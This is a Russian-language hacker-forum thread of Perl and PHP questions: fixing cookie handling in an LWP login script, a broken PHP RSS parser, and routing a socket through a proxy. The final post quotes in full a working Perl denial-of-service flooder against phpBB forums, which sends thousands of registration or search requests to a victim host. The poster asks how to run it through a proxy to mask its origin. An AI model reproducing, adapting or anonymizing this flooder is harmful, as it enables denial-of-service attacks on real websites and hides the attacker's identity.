>> что лучше юзать, Lwp, сокеты или еще что-то? вопрос некорректен.. lwp использует Socket, как и io::socket и т.п. модули..
и исчо один http://paste.org.ru/?5uqzmz вот скрипт. Он авторизируеца на сайте xaker.ru и выводит текст от <title> до </title> ... выводит почему то титл главной страницы . в чем ошибка ? как исправить ?
как понять такое рег.выр? $data=~m/^(\C{4})(\C*)/; ну m это для обработки данных как однострочную символьную строку а вот \C что такое?
$p01nt, невнятгый какой-то вопрос. Нужно-то что, чтобы выводился текст, расположенный внутри тэга TITLE? Code: ... print $1;
>> да , но выводиться ТЕКСТ НЕ ТОЙ СТРАНИЦЫ !!! тебе надо получить кукисы при успешной аутентификации, и использовать их, при посылке запросов на сайт.. пример: Code: use LWP::UserAgent; use HTTP::Cookies; my $cookie_jar = HTTP::Cookies->new; my $ua = LWP::UserAgent->new; $ua->agent('Opera/9.00 (Windows NT 5.1; U; ru)'); $ua->cookie_jar($cookie_jar); my $req = $ua->post("http://$site$path", Content => ['login_name' => "$login", 'login_password' => "$pass", 'login' => 'submit' ]); [COLOR=Red]$cookie_jar[/COLOR]->extract_cookies($req); затем делаем запросы с полученными кукисами: Code: my $ub = LWP::UserAgent->new; $ub->agent('Opera/9.00 (Windows NT 5.1; U; ru)'); [B]$ub->cookie_jar([COLOR=Red]$cookie_jar[/COLOR]);[/B] my $rew = $ub->get("http://$site$path"."index.php?do=pm&doaction=newpm&user=$num")->as_string;
Народ, в чём прикол? На моём сайте работал RSS парсер. Работал давно и исправно. Но несколько дней назад перестал. Стал выдавать: В скрипте 3-я строка это session_start() Ничего не пойму. Пытался и другой RSS фид ему скормить... Нифига не помогло. Вот сайт скрипт: PHP: <?php header( "Content-type: text/html; charset=UTF-8" ); error_reporting(E_ALL); require_once( "./inc/Common.inc" ); $HTML_NEWS['text'] = ""; $HEADER = "Новости"; $type = isset($_REQUEST['type']) ? $_REQUEST['type'] : "menu"; $coli4 = isset($_REQUEST['num']) ? $_REQUEST['num'] : 3; if($coli4 > 10) $coli4 = 10; if ($coli4 < 1) $coli4 = 3; switch (strtolower($type)){ case "world": default: $file = "http://www.profootball.com.ua/rss/news.xml"; $HEADER .= " :: Новости мирового футбола"; break; case "russian": $file = "http://www.championat.ru/xml/rss_football_russiapl.xml"; $HEADER .= " :: Новости Российского футбола"; break; case "ukraine": default: $file = "http://news.yandex.ru/football.rss"; $HEADER .= " :: Новости футбола от yandex"; break; case "menu": $HEADER .= ""; break; } $HTML_NEWS['text'] .= <<< EOS <div class="subtitle"> <b>Новости</b><br/> </div> <div class="text"> На этой странице находятся самые свежие футбольные новости. <br/> </div> <div class="text"> EOS; if ($type=="menu") { $HTML_NEWS['text'] .= "<div class=\"subtitle\">Выберите категорию новостей</div><div class=\"text\"> <a href=?type=world&num=3>Новости мирового футбола</a><br> <a href=?type=ya&num=3>Новости футбола от yandex</a><br> <a href=?type=russian&num=3>Новости Российского футбола</a>"; } else { $rss_channel = array(); $currently_writing = ""; $main = ""; $item_counter = 0; function startElement($parser, $name, $attrs) { global $rss_channel, $currently_writing, $main; switch($name) { case "RSS": case "RDF:RDF": case "ITEMS": $currently_writing = ""; break; case "CHANNEL": $main = "CHANNEL"; break; case "IMAGE": $main = "IMAGE"; $rss_channel["IMAGE"] = array(); break; case "ITEM": $main = "ITEMS"; break; default: $currently_writing = $name; break; } } function endElement($parser, $name) { global $rss_channel, $currently_writing, $item_counter; $currently_writing = ""; if ($name == "ITEM") { $item_counter++; } } function characterData($parser, $data) { global $rss_channel, $currently_writing, $main, $item_counter; if ($currently_writing != "") { switch($main) { case "CHANNEL": if (isset($rss_channel[$currently_writing])) { $rss_channel[$currently_writing] .= $data; } else { $rss_channel[$currently_writing] = $data; } break; case "IMAGE": if (isset($rss_channel[$main][$currently_writing])) { $rss_channel[$main][$currently_writing] .= $data; } else { $rss_channel[$main][$currently_writing] = $data; } break; case "ITEMS": if (isset($rss_channel[$main][$item_counter][$currently_writing])) { $rss_channel[$main][$item_counter][$currently_writing] .= $data; } else { //print ("rss_channel[$main][$item_counter][$currently_writing] = $data<br>"); $rss_channel[$main][$item_counter][$currently_writing] = $data; } break; } } } $xml_parser = xml_parser_create(); xml_set_element_handler($xml_parser, "startElement", "endElement"); xml_set_character_data_handler($xml_parser, "characterData"); if (!($fp = fopen($file, "r"))) { die("could not open XML input"); } while ($data = fread($fp, 4096)) { if (!xml_parse($xml_parser, $data, feof($fp))) { die(sprintf("XML error: %s at line %d", xml_error_string(xml_get_error_code($xml_parser)), xml_get_current_line_number($xml_parser))); } } xml_parser_free($xml_parser); if (isset($rss_channel["ITEMS"])) { if (count($rss_channel["ITEMS"]) > 0) { for($i = 0;$i < $coli4;$i++) { $HTML_NEWS['text'] .= "\n<div class=\"subtitle\">" . $rss_channel["ITEMS"][$i]["TITLE"] . "</b></div>"; $HTML_NEWS['text'] .= "<div class=\"text\">" . html_entity_decode($rss_channel["ITEMS"][$i]["DESCRIPTION"]) . "</div>"; } } else { $HTML_NEWS['text'] .= "<b>There are no articles in this feed.</b>"; } } $HTML_NEWS['text'] .= <<< EOS <div class=\"subtitle\"> <form method=get action=news.php> EOS; $HTML_NEWS['text'] .= "<a href=?type=$type&num=10>Больше новостей >>></a></form>"; } бла бла бла...
Не шарю в Perl Подскажите как в этом куске кода сделать коннект через прокси: Code: ## Connect Socket with Variables Provided By User my $sock = new IO::Socket::INET ( PeerAddr => "$host", PeerPort => "80", Proto => "tcp", ); die "\nThe Socket Can't Connect To The Desired Host or the Host is MayBe DoSed: $!\n" unless $sock;
ну надо чтоб коннект осуществлялся через прокси, а не на проксию То есть коннект на PeerAddr => "$host", PeerPort => "80" Должен осуществляться через например прокси 127.0.0.1 порт 8080
>> ну надо чтоб коннект осуществлялся через прокси, а не на проксию а ты считаешь, что чтоб использовать прокси к нему коннектиться как бы и не надо чтоле? ) ты коннектишься к прокси, пересылаешь ему запрос, а дальше уже прокси сам конектится куда надо.. только нужно правильно http-заголовки указать.. если это http-прокси, то надо полный урл укзывать в запросах.. если https то использовать метод CONNECT..
Ну вот например есть сплоит для PhpBB: Code: #!/usr/bin/perl ## Name: NsT-phpBBDoS (Perl Version) ## Copyright: Neo Security Team ## Author: HaCkZaTaN ## Ported: g30rg3_x ## Date: 20/06/05 ## Description: NsT-phpBB DoS By HackZatan Ported tu perl By g30rg3_x ## A Simple phpBB Registration And Search DoS Flooder. ## ## g30rg3x@neosecurity:/home/g30rg3x# perl NsT-phpBBDoS.pl ## [+] ## [+] NsT-phpBBDoS v0.2 by HaCkZaTaN ## [+] ported to Perl By g30rg3_x ## [+] Neo Security Team ## [+] ## [+] Host |without http://www.| victimshost.com ## [+] Path |example. /phpBB2/ or /| /phpBB2/ ## [+] Flood Type |1=Registration 2=Search| 1 ## [+] .......................................................... ## [+] .......................................................... ## [+] .......................................................... ## [+] .............................................. ## [+] The Socket Can't Connect To The Desired Host or the Host is MayBe DoSed ## g30rg3x@neosecurity:/home/g30rg3x# echo "Let see how many users I have created" use IO::Socket; ## Initialized X $x = 0; ## Flood Variables Provided By User print q( NsT-phpBBDoS v0.2 by HaCkZaTaN ported to Perl By g30rg3_x Neo Security Team ); print q(Host |without http://www.| ); $host = <STDIN>; chop ($host); print q(Path |example. /phpBB2/ or /| ); $pth = <STDIN>; chop ($pth); print q(Flood Type |1 = Registration, 2 = Search| ); $type = <STDIN>; chop ($type); ## If Type Is Equals To 1 or Registration if($type == 1){ ## User Loop for 9999 loops (enough for Flood xDDDD) while($x != 9999) { ## Building User in base X $uname = "username=NsT__" . "$x"; ## Building User Mail in base X $umail = "&email=NsT__" . "$x"; ## Final String to Send $postit = "$uname"."$umail"."%40neosecurityteam.net&new_password=0123456&password_confirm=0123456&icq=&aim=N%2FA&msn=&yim=&website=&location=&occupation=&interests=&signature=&viewemail=0&hideonline=0¬ifyreply=0¬ifypm=1&popup_pm=1&attachsig=1&allowbbcode=1&allowhtml=0&allowsmilies=1&language=english&style=2&timezone=0&dateformat=D+M+d%2C+Y+g%3Ai+a&mode=register&agreed=true&coppa=0&submit=Submit"; ## Posit Length $lrg = length $postit; ## Connect Socket with Variables Provided By User my $sock = new IO::Socket::INET ( PeerAddr => "$host", PeerPort => "80", Proto => "tcp", ); die "\nThe Socket Can't Connect To The Desired Host or the Host is MayBe DoSed: $!\n" unless $sock; ## Sending Truth Socket The HTTP Commands For Register a User in phpBB Forums print $sock "POST $pth"."profile.php HTTP/1.1\n"; print $sock "Host: $host\n"; print $sock "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\n"; print $sock "Referer: $host\n"; print $sock "Accept-Language: en-us\n"; print $sock "Content-Type: application/x-www-form-urlencoded\n"; print $sock "Accept-Encoding: gzip, deflate\n"; print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\n"; print $sock "Connection: Keep-Alive\n"; print $sock "Cache-Control: no-cache\n"; print $sock "Content-Length: $lrg\n\n"; print $sock "$postit\n"; close($sock); ## Print a "." for every loop syswrite STDOUT, "."; ## Increment X in One for every Loop $x++; } ## If Type Is Equals To 2 or Search } elsif ($type == 2){ ## User Search Loop for 9999 loops (enough for Flood xDDDD) while($x != 9999) { ## Final Search String to Send $postit = "search_keywords=Neo+Security+Team+Proof+of+Concept+$x+&search_terms=any&search_author=&search_forum=-1&search_time=0&search_fields=msgonly&search_cat=-1&sort_by=0&sort_dir=ASC&show_results=posts&return_chars=200"; ## Posit Length $lrg = length $postit; ## Connect Socket with Variables Provided By User my $sock = new IO::Socket::INET ( PeerAddr => "$host", PeerPort => "80", Proto => "tcp", ); die "\nThe Socket Can't Connect To The Desired Host or the Host is MayBe DoSed: $!\n" unless $sock; ## Sending Truth Socket The HTTP Commands For Send A BD Search Into phpBB Forums print $sock "POST $pth"."search.php?mode=results HTTP/1.1\n"; print $sock "Host: $host\n"; print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n"; print $sock "Referer: $host\n"; print $sock "Accept-Language: en-us\n"; print $sock "Content-Type: application/x-www-form-urlencoded\n"; print $sock "Accept-Encoding: gzip, deflate\n"; print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\n"; print $sock "Connection: Keep-Alive\n"; print $sock "Cache-Control: no-cache\n"; print $sock "Content-Length: $lrg\n\n"; print $sock "$postit\n"; close($sock); ## Print a "." for every loop syswrite STDOUT, "."; ## Increment X in One for every Loop $x++; } }else{ ## STF??? What Do You Type die "Option not Allowed O_o???\n"; } # milw0rm.com [2005-06-22]gfd То есть после строки: ## Connect Socket with Variables Provided By User... прописать прокси а в строках после: ## Sending Truth Socket The HTTP Commands For Send A BD Search Into phpBB Forums прописывать уже адре самого сайта ?